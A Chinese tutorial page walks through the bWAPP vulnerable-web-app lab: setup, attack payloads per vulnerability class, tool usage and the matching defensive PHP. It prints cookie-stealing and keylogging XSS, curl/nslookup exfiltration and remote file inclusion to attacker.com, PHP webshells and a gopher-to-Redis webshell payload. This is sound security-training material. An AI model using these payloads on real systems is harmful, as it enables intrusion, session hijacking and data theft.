news 2026/2/23 3:21:07

bWAPP漏洞靶场实战教程

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
bWAPP漏洞靶场实战教程

bWAPP漏洞靶场实战教程

一、bWAPP概述

1.1 什么是bWAPP

bWAPP(Buggy Web Application)是一个集成了100+种Web漏洞的PHP/MySQL靶场,由安全专家Malik Mesellem开发。它专为Web安全学习、演示和测试设计,是极佳的教学工具。

1.2 核心特点

  • 100+个漏洞场景:覆盖OWASP Top 10所有漏洞
  • 多种难度级别:Low/Medium/High三个级别
  • 真实环境:模拟实际Web应用
  • 教育友好:包含Hints和解决方案
  • 开源免费:基于GPLv3协议

二、环境搭建

2.1 虚拟机方式(推荐)

# 下载bWAPP虚拟机# 官方下载:http://www.itsecgames.com/# 或使用Bee-box(集成了bWAPP)wgethttps://sourceforge.net/projects/bwapp/files/bee-box/bee-box_v1.6.7z# 解压并使用VirtualBox/VMware导入# 默认登录:# URL: http://192.168.0.1/# 账号: bee / bug# 安全等级: 默认Medium

2.2 Docker部署

# 方法一:直接运行docker run -d -p80:80 raesene/bwapp# 方法二:使用docker-composeversion:'3'services: bwapp: image: raesene/bwapp ports: -"80:80"environment: -MYSQL_PASSWORD=bug

2.3 本地部署(XAMPP/WAMP)

# 1. 下载bWAPP源码wgethttps://sourceforge.net/projects/bwapp/files/latest/download# 2. 解压到htdocs目录unzipbWAPP_latest.zip -d /opt/lampp/htdocs/bwapp/# 3. 访问安装页面http://localhost/bwapp/install.php# 4. 配置数据库数据库:localhost 用户名:root 密码:(空) 数据库名:bWAPP# 5. 默认登录凭证用户名:bee 密码:bug

三、界面导航与配置

3.1 首次使用设置

  1. 登录系统:使用bee/bug登录
  2. 选择漏洞类型:"Choose your bug"下拉菜单
  3. 设置安全级别
    • Low:无防护,用于学习原理
    • Medium:基础防护,需简单绕过
    • High:较强防护,需要高级技术
  4. 访问Hints:点击"Hints"获取漏洞提示

3.2 管理功能

-- 管理后台:http://[ip]/admin.php-- 默认管理员:admin/bug-- 查看用户表SELECT*FROMusers;-- bee/bug(普通用户)-- admin/bug(管理员)-- smith/bug(测试用户)

四、核心漏洞实战

4.1 SQL注入漏洞家族

4.1.1 基于错误的注入(Error-Based)

Low级别:

-- 基础注入' OR '1'='1-- 获取数据' UNION SELECT 1,2,3,4,5,6,7,8 -- -- 获取数据库信息 'UNIONSELECT1,database(),user(),version(),5,6,7,8---- 获取表名' UNION SELECT 1,table_name,3,4,5,6,7,8 FROM information_schema.tables WHERE table_schema=database() -- -- 获取列名 'UNIONSELECT1,column_name,3,4,5,6,7,8FROMinformation_schema.columnsWHEREtable_name='users'---- 获取数据'UNIONSELECT1,login,password,4,5,6,7,8FROMusers--
4.1.2 盲注(Blind SQLi)
-- 布尔盲注' AND 1=1 -- 'AND1=2---- 基于时间的盲注' AND IF(1=1,SLEEP(5),0) -- 'ANDIF(SUBSTRING(database(),1,1)='b',SLEEP(5),0)---- 逐字符获取数据'ANDIF(ASCII(SUBSTRING((SELECTloginFROMusersLIMIT0,1),1,1))=98,SLEEP(3),0)--
4.1.3 SQLi绕过技巧
-- 注释绕过admin' -- admin'#admin' /* -- 编码绕过 'OR1=1-- URL编码%27%20%4F%52%20%31%3D%31%20%2D%2D-- 双写绕过(针对关键字过滤)' UNUNIONION SELSELECTECT 1,2 -- -- 大小写绕过 'Or1=1--' oR 1=1 -- -- 等价函数绕过 'ORTRUE--'OR1--

4.2 XSS漏洞家族

4.2.1 反射型XSS
// 基础payload<script>alert(document.domain)</script>// 窃取Cookie<script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>// 短payload<svg onload=alert(1)><img src=x onerror=alert(1)>// DOM XSS#<img src=x onerror=alert(1)>javascript:alert(document.cookie)
4.2.2 存储型XSS
// 评论区注入<script>alert('Stored XSS')</script>// 窃取用户会话<script>varimg=newImage();img.src='http://attacker.com/steal?cookie='+document.cookie;</script>// 键盘记录器<script>document.onkeypress=function(e){newImage().src='http://attacker.com/log?key='+e.key;}</script>
4.2.3 XSS高级绕过
// 编码绕过<IMGSRC=j&#X41vascript:alert('test')>// 事件处理器<body onload=alert(1)><input onfocus=alert(1)autofocus>// iframe注入<iframe src="javascript:alert(document.domain)">// SVG XSS<svg><script>alert(1)</script></svg><svg><animate onbegin=alert(1)attributeName=x dur=1s>

4.3 文件上传漏洞

4.3.1 基础绕过
# 修改扩展名绕过shell.php.jpg shell.php.png shell.pHp# 双扩展名shell.php.jpg.php# 空字节绕过(PHP<5.3.4)shell.php%00.jpg# .htaccess攻击# 上传.htaccess文件:AddType application/x-httpd-php .jpg# 然后上传shell.jpg(实际是PHP文件)
4.3.2 Content-Type绕过
POST /bWAPP/upload.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----WebKitFormBoundary123456 ------WebKitFormBoundary123456 Content-Disposition: form-data; name="uploaded"; filename="shell.php" Content-Type: image/jpeg # 伪装成图片 <?php system($_GET['cmd']); ?>
4.3.3 文件内容绕过
# 使用图片马# 创建包含PHP代码的图片exiftool-Comment="<?php system(\$_GET['cmd']); ?>"image.jpg# GIF图片头绕过GIF89a;<?phpsystem($_GET['cmd']);?>

4.4 命令注入

4.4.1 基础注入
# 执行多条命令127.0.0.1&&whoami127.0.0.1|cat/etc/passwd127.0.0.1;ls-la# 命令替换127.0.0.1&&$(cat/etc/passwd)127.0.0.1&&`whoami`
4.4.2 盲注技术
# 基于时间的盲注127.0.0.1&&sleep5127.0.0.1&&ping-c5127.0.0.1# 带外数据外泄127.0.0.1&&nslookup$(whoami).attacker.com127.0.0.1&&curlhttp://attacker.com/$(cat/etc/passwd|base64)
4.4.3 绕过过滤
# 空格绕过127.0.0.1&&{cat,/etc/passwd}127.0.0.1;cat$IFS/etc/passwd# 关键字绕过127.0.0.1&&a=c;b=at;c=/etc/passwd;$a$b$c127.0.0.1&&wh''oami127.0.0.1&&who$(echoam)i# 编码绕过127.0.0.1&&`echo"d2hvYW1p"|base64 -d`

4.5 CSRF攻击

4.5.1 基础CSRF
<!-- 简单GET请求 --><imgsrc="http://localhost/bWAPP/csrf_1.php?password_new=hacked&password_conf=hacked"width="0"height="0"><!-- POST表单 --><formaction="http://localhost/bWAPP/csrf_2.php"method="POST"id="csrf"><inputtype="hidden"name="password_new"value="hacked"><inputtype="hidden"name="password_conf"value="hacked"></form><script>document.getElementById('csrf').submit()</script>
4.5.2 高级CSRF
<!-- JSON CSRF --><script>fetch('http://localhost/bWAPP/rest-api/change-password',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({newPassword:'hacked'})})</script><!-- 使用XHR --><script>varxhr=newXMLHttpRequest();xhr.open('POST','http://localhost/bWAPP/change-email',true);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded');xhr.send('email=attacker@evil.com');</script>

五、其他重要漏洞

5.1 文件包含

# 本地文件包含http://localhost/bWAPP/fi.php?page=../../../etc/passwdhttp://localhost/bWAPP/fi.php?page=php://filter/convert.base64-encode/resource=index.php# 远程文件包含http://localhost/bWAPP/fi.php?page=http://attacker.com/shell.txt# 日志文件包含http://localhost/bWAPP/fi.php?page=../../../var/log/apache2/access.log# /proc文件包含http://localhost/bWAPP/fi.php?page=../../../proc/self/environ

5.2 不安全的直接对象引用(IDOR)

# 水平越权 GET /bWAPP/idor_1.php?movie=1 # 自己的电影 GET /bWAPP/idor_1.php?movie=2 # 他人电影 # 垂直越权 GET /bWAPP/admin/users.php # 普通用户访问管理员页面 # 批量遍历 GET /bWAPP/idor_2.php?account=100 GET /bWAPP/idor_2.php?account=101 GET /bWAPP/idor_2.php?account=102

5.3 SSRF攻击

# 基础SSRF http://localhost/bWAPP/ssrf.php?url=file:///etc/passwd http://localhost/bWAPP/ssrf.php?url=http://169.254.169.254/latest/meta-data/ # 端口扫描 http://localhost/bWAPP/ssrf.php?url=http://127.0.0.1:22 http://localhost/bWAPP/ssrf.php?url=http://127.0.0.1:3306 # 协议处理 gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$57%0d%0a%0a%0a%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%20%3F%3E%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/www/html%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$9%0d%0ashell.php%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a

六、自动化工具实战

6.1 SQLMap

# 基础检测sqlmap -u"http://localhost/bWAPP/sqli_1.php?title=test&action=search"--cookie="PHPSESSID=xxx; security_level=0"# 获取数据库sqlmap -u"http://localhost/bWAPP/sqli_1.php"--data="title=test&action=search"--cookie="PHPSESSID=xxx"--dbs# 获取表sqlmap -u"http://localhost/bWAPP/sqli_1.php"--data="title=test&action=search"--cookie="PHPSESSID=xxx"-D bWAPP --tables# 获取数据sqlmap -u"http://localhost/bWAPP/sqli_1.php"--data="title=test&action=search"--cookie="PHPSESSID=xxx"-D bWAPP -Tusers--dump# 自动化测试sqlmap -u"http://localhost/bWAPP/sqli_1.php"--data="title=test&action=search"--cookie="PHPSESSID=xxx"--batch --level=5--risk=3

6.2 XSStrike

# XSS自动化检测python3 xsstrike.py -u"http://localhost/bWAPP/xss_get.php?name=test"# 使用爬虫模式python3 xsstrike.py -u"http://localhost/bWAPP"--crawl# 暴力破解参数python3 xsstrike.py -u"http://localhost/bWAPP/xss_get.php"--params"name"

6.3 Commix

# 命令注入自动化检测python3 commix.py -u"http://localhost/bWAPP/commandi.php?target=127.0.0.1"# 获取shellpython3 commix.py -u"http://localhost/bWAPP/commandi.php"--data="target=127.0.0.1"--os-shell

七、防御代码分析

7.1 SQL注入防护

// Low级别(无防护)$sql="SELECT * FROM movies WHERE title LIKE '%".$_GET["title"]."%'";// Medium级别(mysql_real_escape_string)$title=mysql_real_escape_string($_GET["title"]);$sql="SELECT * FROM movies WHERE title LIKE '%".$title."%'";// High级别(预处理语句)$stmt=$mysqli->prepare("SELECT * FROM movies WHERE title LIKE ?");$search="%".$_GET["title"]."%";$stmt->bind_param("s",$search);$stmt->execute();

7.2 XSS防护

// Low级别(无防护)echo$_GET["name"];// Medium级别(strip_tags)echostrip_tags($_GET["name"]);// High级别(htmlspecialchars)echohtmlspecialchars($_GET["name"],ENT_QUOTES,"UTF-8");// 额外防护:CSP头header("Content-Security-Policy: default-src 'self'");

7.3 文件上传防护

// High级别防护$allowed_types=array("image/jpeg","image/png","image/gif");$max_size=512000;// 500KB$upload_dir="uploads/";// 检查文件类型if(!in_array($_FILES["file"]["type"],$allowed_types)){die("Invalid file type!");}// 检查文件大小if($_FILES["file"]["size"]>$max_size){die("File too large!");}// 重命名文件$extension=pathinfo($_FILES["file"]["name"],PATHINFO_EXTENSION);$new_filename=md5(uniqid()).".".$extension;// 移动文件move_uploaded_file($_FILES["file"]["tmp_name"],$upload_dir.$new_filename);

八、实战演练计划

阶段1:基础漏洞(第1周)

  • SQL注入(所有类型)
  • XSS(反射型、存储型)
  • 命令注入
  • 文件上传
  • 文件包含

阶段2:进阶漏洞(第2周)

  • 盲注攻击
  • CSRF攻击
  • SSRF攻击
  • IDOR漏洞
  • XXE漏洞

阶段3:组合攻击(第3周)

  • SQLi -> 获取数据库 -> 文件写入 -> WebShell
  • XSS -> 窃取Cookie -> 会话劫持
  • 文件上传 -> 命令执行 -> 权限提升

阶段4:防御绕过(第4周)

  • WAF绕过技术
  • 编码绕过
  • 逻辑漏洞利用
  • 自动化工具使用

九、学习资源

官方资源

  • 官方网站:http://www.itsecgames.com/
  • GitHub仓库:https://github.com/raesene/bWAPP
  • 官方文档:http://www.itsecgames.com/download.htm

扩展学习

  1. DVWA:适合初学者的简单靶场
  2. WebGoat:OWASP官方教学靶场
  3. Juice Shop:现代Web应用靶场
  4. PentesterLab:专业渗透练习平台

工具推荐

  1. Burp Suite:Web渗透测试神器
  2. OWASP ZAP:开源Web应用扫描器
  3. SQLMap:SQL注入自动化工具
  4. XSSHunter:XSS漏洞利用平台

十、安全实践建议

10.1 测试环境配置

# 创建专用网络docker network create bwapp-net docker run -d --network bwapp-net --name bwapp raesene/bwapp# 使用虚拟机快照# 测试前创建快照,测试后恢复

10.2 合法授权

  1. 仅限本地测试:不要在生产环境测试
  2. 明确授权:获得明确书面授权
  3. 遵守法律:了解当地网络安全法规
  4. 道德约束:不为恶意目的使用技能

10.3 学习记录

# 漏洞测试记录模板 ## 漏洞名称: ## 测试时间: ## 安全等级: ## 漏洞URL: ## 攻击Payload: ## 测试步骤: ## 防御措施: ## 学习心得:

通过bWAPP的系统学习,你将掌握100+种Web漏洞的利用和防御技术。建议按照漏洞类型逐步深入,每个漏洞都要尝试三个安全级别,理解不同防护措施的差异。理论与实践结合,才能真正提升Web安全能力!

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/2/20 16:37:28

Java开发者AI转型路线图:从CRUD到AI架构师的4种路径+实战项目(建议收藏)

文章分析了Java开发者向AI大模型领域转型的必要性、优势与路径。指出Java开发者具备工程化思维和企业级开发经验等转型优势&#xff0c;可通过渐进式路径完成技术栈过渡。文章详细介绍了需要强化的数学基础、大模型专项能力&#xff0c;以及如何将Java工程经验转化为AI项目价值…

作者头像 李华
网站建设 2026/2/20 3:20:57

网络爬虫相关操作--selenium库(超详细版)

1、在网页的搜索框输入文字from selenium import webdriver from selenium.webdriver.edge.options import Options from selenium.webdriver.common.by import By edge_optionsOptions() edge_options.binary_locationr"C:\Program Files (x86)\Microsoft\Edge\Applicati…

作者头像 李华
网站建设 2026/2/20 20:52:44

麒麟系统运行LobeChat是否流畅?实测告诉你答案

麒麟系统运行LobeChat是否流畅&#xff1f;实测告诉你答案 在信创浪潮席卷各行各业的今天&#xff0c;一个现实问题摆在开发者面前&#xff1a;我们能否在国产操作系统上顺畅地使用前沿AI工具&#xff1f;比如&#xff0c;像 LobeChat 这样现代化、功能丰富的开源聊天界面&…

作者头像 李华
网站建设 2026/2/15 15:38:59

物联网边缘设备+LobeChat分布式AI终端网络

物联网边缘设备 LobeChat&#xff1a;构建去中心化的分布式 AI 终端网络 在智能制造车间的一台巡检终端前&#xff0c;工程师对着屏幕轻声提问&#xff1a;“上一次电机温度异常是什么时候&#xff1f;可能的原因有哪些&#xff1f;”几乎瞬间&#xff0c;一个带有图表和分析建…

作者头像 李华
网站建设 2026/2/21 2:19:37

Pinterest灵感采集:LobeChat发现流行美学

LobeChat&#xff1a;如何用开源框架构建你的AI灵感引擎 在设计师的日常工作中&#xff0c;一个常见的场景是&#xff1a;打开Pinterest或小红书&#xff0c;翻阅成百上千张设计稿、海报和配色方案&#xff0c;试图捕捉当下最流行的视觉趋势。但这种“人肉扫描”方式效率低下&a…

作者头像 李华